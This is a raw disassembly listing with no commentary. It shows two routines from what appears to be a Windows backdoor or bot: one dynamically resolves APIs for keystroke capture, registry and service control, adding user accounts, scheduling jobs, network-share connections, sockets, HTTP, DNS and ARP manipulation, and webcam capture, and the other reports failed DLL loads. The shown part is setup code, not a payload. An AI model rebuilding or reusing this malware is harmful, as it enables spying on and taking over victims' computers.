push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_43CA78, eax
call esi ; GetProcAddress
cmp dword_43CA80, ebx
mov dword_43C96C, eax
jz short loc_408B0A
cmp dword_43CA30, ebx
jz short loc_408B0A
cmp dword_43C9C4, ebx
jz short loc_408B0A
cmp dword_43CAD4, ebx
jz short loc_408B0A
cmp dword_43C9F4, ebx
jz short loc_408B0A
cmp dword_43CA14, ebx
jz short loc_408B0A
cmp dword_43CA78, ebx
jz short loc_408B0A
cmp eax, ebx
jnz short loc_408B14
loc_408B0A: ; CODE XREF: sub_40891C+1B8j
; sub_40891C+1C0j ...
mov dword_43CAE8, 1
loc_408B14: ; CODE XREF: sub_40891C+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_43C9F0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_43C904, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_43C9C0, eax
call esi ; GetProcAddress
cmp dword_43C9F0, ebx
mov dword_43C9AC, eax
jz short loc_408B71
cmp dword_43C904, ebx
jz short loc_408B71
cmp dword_43C9C0, ebx
jz short loc_408B71
cmp eax, ebx
jnz short loc_408B7B
jmp short loc_408B71
; ---------------------------------------------------------------------------
loc_408B66: ; CODE XREF: sub_40891C+144j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CAEC, eax
loc_408B71: ; CODE XREF: sub_40891C+232j
; sub_40891C+23Aj ...
mov dword_43CAE8, 1
loc_408B7B: ; CODE XREF: sub_40891C+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408D16
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_43CA94, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_43C9D8, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_43CA48, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_43C930, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_43C990, eax
call esi ; GetProcAddress
cmp dword_43CA94, ebx
mov dword_43CA00, eax
jz short loc_408C06
cmp dword_43C9D8, ebx
jz short loc_408C06
cmp dword_43CA48, ebx
jz short loc_408C06
cmp dword_43C930, ebx
jz short loc_408C06
cmp dword_43C990, ebx
jz short loc_408C06
cmp eax, ebx
jnz short loc_408C10
loc_408C06: ; CODE XREF: sub_40891C+2C4j
; sub_40891C+2CCj ...
mov dword_43CAF0, 1
loc_408C10: ; CODE XREF: sub_40891C+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_43CA08, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_43C9E0, eax
call esi ; GetProcAddress
cmp dword_43CA08, ebx
mov dword_43CA90, eax
jz short loc_408C4B
cmp dword_43C9E0, ebx
jz short loc_408C4B
cmp eax, ebx
jnz short loc_408C55
loc_408C4B: ; CODE XREF: sub_40891C+321j
; sub_40891C+329j
mov dword_43CAF0, 1
loc_408C55: ; CODE XREF: sub_40891C+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_43CA18, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_43C90C, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_43C914, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_43C974, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_43C978, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_43C928, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_43C9E4, eax
call esi ; GetProcAddress
cmp dword_43CA18, ebx
mov dword_43C918, eax
jz short loc_408CF9
cmp dword_43C90C, ebx
jz short loc_408CF9
cmp dword_43C914, ebx
jz short loc_408CF9
cmp dword_43C974, ebx
jz short loc_408CF9
cmp dword_43C978, ebx
jz short loc_408CF9
cmp dword_43C928, ebx
jz short loc_408CF9
cmp dword_43C9E4, ebx
jz short loc_408CF9
cmp eax, ebx
jnz short loc_408D03
loc_408CF9: ; CODE XREF: sub_40891C+3A7j
; sub_40891C+3AFj ...
mov dword_43CAF0, 1
loc_408D03: ; CODE XREF: sub_40891C+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43C910, eax
jnz short loc_408D2B
jmp short loc_408D21
; ---------------------------------------------------------------------------
loc_408D16: ; CODE XREF: sub_40891C+26Aj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CAF4, eax
loc_408D21: ; CODE XREF: sub_40891C+3F8j
mov dword_43CAF0, 1
loc_408D2B: ; CODE XREF: sub_40891C+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408DF7
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_43CA10, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_43CA68, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_43CA70, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_43CA2C, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_43C954, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_43C900, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_43CA6C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_43C8EC, eax
call esi ; GetProcAddress
cmp dword_43CA10, ebx
mov dword_43C988, eax
jz short loc_408E02
cmp dword_43CA68, ebx
jz short loc_408E02
cmp dword_43CA70, ebx
jz short loc_408E02
cmp dword_43CA2C, ebx
jz short loc_408E02
cmp dword_43C954, ebx
jz short loc_408E02
cmp dword_43C900, ebx
jz short loc_408E02
cmp dword_43CA6C, ebx
jz short loc_408E02
cmp dword_43C8EC, ebx
jz short loc_408E02
cmp eax, ebx
jnz short loc_408E0C
jmp short loc_408E02
; ---------------------------------------------------------------------------
loc_408DF7: ; CODE XREF: sub_40891C+41Aj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CAFC, eax
loc_408E02: ; CODE XREF: sub_40891C+49Bj
; sub_40891C+4A3j ...
mov dword_43CAF8, 1
loc_408E0C: ; CODE XREF: sub_40891C+4D7j
mov ebp, dword_4210C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4090C8
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_43C99C, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_43CAC8, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_43C940, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_43C91C, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_43C9D0, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_43C9B8, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_43C984, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_43CAA4, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_43CAC0, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_43C9CC, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_43CAB0, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_43CA64, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_43CA24, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_43CA20, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_43C960, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_43C958, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_43CA74, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_43CA88, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_43CA3C, eax
call esi ; GetProcAddress
mov dword_43C9FC, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_43CA50, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_43CA0C, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_43CA4C, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_43CAB8, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_43CA04, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_43C9C8, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_43CA38, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_43CAA8, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_43C9DC, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_43C980, eax
call esi ; GetProcAddress
cmp dword_43C99C, ebx
mov dword_43CABC, eax
jz loc_4090D3
cmp dword_43CAC8, ebx
jz loc_4090D3
cmp dword_43C940, ebx
jz loc_4090D3
cmp dword_43C9D0, ebx
jz loc_4090D3
cmp dword_43C9B8, ebx
jz loc_4090D3
cmp dword_43C984, ebx
jz loc_4090D3
cmp dword_43CAA4, ebx
jz loc_4090D3
cmp dword_43CAC0, ebx
jz loc_4090D3
cmp dword_43C9CC, ebx
jz loc_4090D3
cmp dword_43CAB0, ebx
jz loc_4090D3
cmp dword_43CA64, ebx
jz loc_4090D3
cmp dword_43CA24, ebx
jz loc_4090D3
cmp dword_43CA20, ebx
jz loc_4090D3
cmp dword_43C960, ebx
jz short loc_4090D3
cmp dword_43CA74, ebx
jz short loc_4090D3
cmp dword_43CA88, ebx
jz short loc_4090D3
cmp dword_43CA3C, ebx
jz short loc_4090D3
cmp dword_43C9FC, ebx
jz short loc_4090D3
cmp dword_43CA50, ebx
jz short loc_4090D3
cmp dword_43CA0C, ebx
jz short loc_4090D3
cmp dword_43CA4C, ebx
jz short loc_4090D3
cmp dword_43CAB8, ebx
jz short loc_4090D3
cmp dword_43CA04, ebx
jz short loc_4090D3
cmp dword_43C9C8, ebx
jz short loc_4090D3
cmp dword_43CA38, ebx
jz short loc_4090D3
cmp dword_43CAA8, ebx
jz short loc_4090D3
cmp dword_43C9DC, ebx
jz short loc_4090D3
cmp eax, ebx
jnz short loc_4090DD
jmp short loc_4090D3
; ---------------------------------------------------------------------------
loc_4090C8: ; CODE XREF: sub_40891C+501j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB04, eax
loc_4090D3: ; CODE XREF: sub_40891C+6A0j
; sub_40891C+6ACj ...
mov dword_43CB00, 1
loc_4090DD: ; CODE XREF: sub_40891C+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4091E2
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_43C968, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_43C8F4, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_43C9EC, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_43C9A0, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_43C9F8, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_43C9BC, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_43C934, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_43C92C, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_43C93C, eax
call esi ; GetProcAddress
cmp dword_43C968, ebx
mov ecx, dword_43C9BC
mov dword_43CA58, eax
jz short loc_4091BE
cmp dword_43C8F4, ebx
jz short loc_4091BE
cmp dword_43C9EC, ebx
jz short loc_4091BE
cmp dword_43C9A0, ebx
jz short loc_4091BE
cmp dword_43C9F8, ebx
jz short loc_4091BE
cmp ecx, ebx
jz short loc_4091BE
cmp dword_43C934, ebx
jz short loc_4091BE
cmp dword_43C92C, ebx
jz short loc_4091BE
cmp dword_43C93C, ebx
jz short loc_4091BE
cmp eax, ebx
jnz short loc_4091C8
loc_4091BE: ; CODE XREF: sub_40891C+860j
; sub_40891C+868j ...
mov dword_43CB08, 1
loc_4091C8: ; CODE XREF: sub_40891C+8A0j
cmp ecx, ebx
jz short loc_4091FD
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_43C9D4, eax
jnz short loc_4091FD
jmp short loc_4091F7
; ---------------------------------------------------------------------------
loc_4091E2: ; CODE XREF: sub_40891C+7CCj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB0C, eax
mov dword_43CB08, 1
loc_4091F7: ; CODE XREF: sub_40891C+8C4j
mov dword_43C9D4, ebx
loc_4091FD: ; CODE XREF: sub_40891C+8AEj
; sub_40891C+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409247
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_43C9B0, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_43CAD8, eax
call esi ; GetProcAddress
cmp dword_43C9B0, ebx
mov dword_43C948, eax
jz short loc_409252
cmp dword_43CAD8, ebx
jz short loc_409252
cmp eax, ebx
jnz short loc_40925C
jmp short loc_409252
; ---------------------------------------------------------------------------
loc_409247: ; CODE XREF: sub_40891C+8ECj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB14, eax
loc_409252: ; CODE XREF: sub_40891C+91Bj
; sub_40891C+923j ...
mov dword_43CB10, 1
loc_40925C: ; CODE XREF: sub_40891C+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409352
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_43C924, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_43C8FC, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_43C970, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_43C9A4, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_43CAB4, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_43C95C, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_43C908, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43C8F8, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_43C98C, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_43CA7C, eax
call esi ; GetProcAddress
cmp dword_43C924, ebx
mov dword_43CA34, eax
jz short loc_40935D
cmp dword_43C8FC, ebx
jz short loc_40935D
cmp dword_43C970, ebx
jz short loc_40935D
cmp dword_43C9A4, ebx
jz short loc_40935D
cmp dword_43CAB4, ebx
jz short loc_40935D
cmp dword_43C95C, ebx
jz short loc_40935D
cmp dword_43C908, ebx
jz short loc_40935D
cmp dword_43C8F8, ebx
jz short loc_40935D
cmp dword_43C98C, ebx
jz short loc_40935D
cmp dword_43CA7C, ebx
jz short loc_40935D
cmp eax, ebx
jnz short loc_409367
jmp short loc_40935D
; ---------------------------------------------------------------------------
loc_409352: ; CODE XREF: sub_40891C+94Bj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB1C, eax
loc_40935D: ; CODE XREF: sub_40891C+9E6j
; sub_40891C+9EEj ...
mov dword_43CB18, 1
loc_409367: ; CODE XREF: sub_40891C+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40939C
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_43C94C, eax
call esi ; GetProcAddress
cmp dword_43C94C, ebx
mov dword_43CA1C, eax
jz short loc_4093A7
cmp eax, ebx
jnz short loc_4093B1
jmp short loc_4093A7
; ---------------------------------------------------------------------------
loc_40939C: ; CODE XREF: sub_40891C+A56j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB24, eax
loc_4093A7: ; CODE XREF: sub_40891C+A78j
; sub_40891C+A7Ej
mov dword_43CB20, 1
loc_4093B1: ; CODE XREF: sub_40891C+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4093E6
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_43CAA0, eax
call esi ; GetProcAddress
cmp dword_43CAA0, ebx
mov dword_43CA9C, eax
jz short loc_4093F1
cmp eax, ebx
jnz short loc_4093FB
jmp short loc_4093F1
; ---------------------------------------------------------------------------
loc_4093E6: ; CODE XREF: sub_40891C+AA0j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB2C, eax
loc_4093F1: ; CODE XREF: sub_40891C+AC2j
; sub_40891C+AC8j
mov dword_43CB28, 1
loc_4093FB: ; CODE XREF: sub_40891C+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40945A
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_43CACC, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_43CAC4, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_43CA8C, eax
call esi ; GetProcAddress
cmp dword_43CACC, ebx
mov dword_43C964, eax
jz short loc_409465
cmp dword_43CAC4, ebx
jz short loc_409465
cmp dword_43CA8C, ebx
jz short loc_409465
cmp eax, ebx
jnz short loc_40946F
jmp short loc_409465
; ---------------------------------------------------------------------------
loc_40945A: ; CODE XREF: sub_40891C+AEAj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB34, eax
loc_409465: ; CODE XREF: sub_40891C+B26j
; sub_40891C+B2Ej ...
mov dword_43CB30, 1
loc_40946F: ; CODE XREF: sub_40891C+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4094A4
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_43C998, eax
call esi ; GetProcAddress
cmp dword_43C998, ebx
mov dword_43CA98, eax
jz short loc_4094AF
cmp eax, ebx
jnz short loc_4094B9
jmp short loc_4094AF
; ---------------------------------------------------------------------------
loc_4094A4: ; CODE XREF: sub_40891C+B5Ej
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB3C, eax
loc_4094AF: ; CODE XREF: sub_40891C+B80j
; sub_40891C+B86j
mov dword_43CB38, 1
loc_4094B9: ; CODE XREF: sub_40891C+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409542
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_43CA60, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_43CAAC, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_43C9E8, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_43C9A8, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_43CA40, eax
call esi ; GetProcAddress
cmp dword_43CA60, ebx
mov dword_43C9B4, eax
jz short loc_40954D
cmp dword_43CAAC, ebx
jz short loc_40954D
cmp dword_43C9E8, ebx
jz short loc_40954D
cmp dword_43C9A8, ebx
jz short loc_40954D
cmp dword_43CA40, ebx
jz short loc_40954D
cmp eax, ebx
jnz short loc_409557
jmp short loc_40954D
; ---------------------------------------------------------------------------
loc_409542: ; CODE XREF: sub_40891C+BA8j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB44, eax
loc_40954D: ; CODE XREF: sub_40891C+BFEj
; sub_40891C+C06j ...
mov dword_43CB40, 1
loc_409557: ; CODE XREF: sub_40891C+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40958C
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_43C97C, eax
call esi ; GetProcAddress
cmp dword_43C97C, ebx
mov dword_43CA54, eax
jz short loc_409597
cmp eax, ebx
jnz short loc_4095A1
jmp short loc_409597
; ---------------------------------------------------------------------------
loc_40958C: ; CODE XREF: sub_40891C+C46j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43CB4C, eax
loc_409597: ; CODE XREF: sub_40891C+C68j
; sub_40891C+C6Ej
mov dword_43CB48, 1
loc_4095A1: ; CODE XREF: sub_40891C+C6Cj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_40891C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095A9 proc near ; CODE XREF: sub_40CD3A+51A1p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_43CAE0, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4095F1
push dword_43CAE4
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4095F1: ; CODE XREF: sub_4095A9+1Aj
cmp dword_43CAE8, esi
jz short loc_409625
push dword_43CAEC
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409625: ; CODE XREF: sub_4095A9+4Ej
cmp dword_43CAF0, esi
jz short loc_409659
push dword_43CAF4
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409659: ; CODE XREF: sub_4095A9+82j
cmp dword_43CAF8, esi
jz short loc_40968D
push dword_43CAFC
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_40968D: ; CODE XREF: sub_4095A9+B6j
cmp dword_43CB00, esi
jz short loc_4096C1
push dword_43CB04
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4096C1: ; CODE XREF: sub_4095A9+EAj
cmp dword_43CB08, esi
jz short loc_4096F5
push dword_43CB0C
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4096F5: ; CODE XREF: sub_4095A9+11Ej
cmp dword_43CB10, esi
jz short loc_409729
push dword_43CB14
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409729: ; CODE XREF: sub_4095A9+152j
cmp dword_43CB18, esi
jz short loc_40975D
push dword_43CB1C
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_40975D: ; CODE XREF: sub_4095A9+186j
cmp dword_43CB20, esi
jz short loc_409791
push dword_43CB24
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409791: ; CODE XREF: sub_4095A9+1BAj
cmp dword_43CB28, esi
jz short loc_4097C5
push dword_43CB2C
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4097C5: ; CODE XREF: sub_4095A9+1EEj
cmp dword_43CB30, esi
jz short loc_4097F9
push dword_43CB34
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_4097F9: ; CODE XREF: sub_4095A9+222j
cmp dword_43CB38, esi
jz short loc_40982D
push dword_43CB3C
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_40982D: ; CODE XREF: sub_4095A9+256j
cmp dword_43CB40, esi
jz short loc_409861
push dword_43CB44
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409861: ; CODE XREF: sub_4095A9+28Aj
cmp dword_43CB48, esi
jz short loc_409895
push dword_43CB4C
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_415316
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
loc_409895: ; CODE XREF: sub_4095A9+2BEj
lea eax, [ebp+var_200]
push offset dword_429A8C
push eax
call sub_415316
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_4098C2
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4098C2: ; CODE XREF: sub_4095A9+302j
lea eax, [ebp+var_200]
push eax
call sub_40B078
pop ecx
pop edi
pop esi
pop ebx
leave
retn
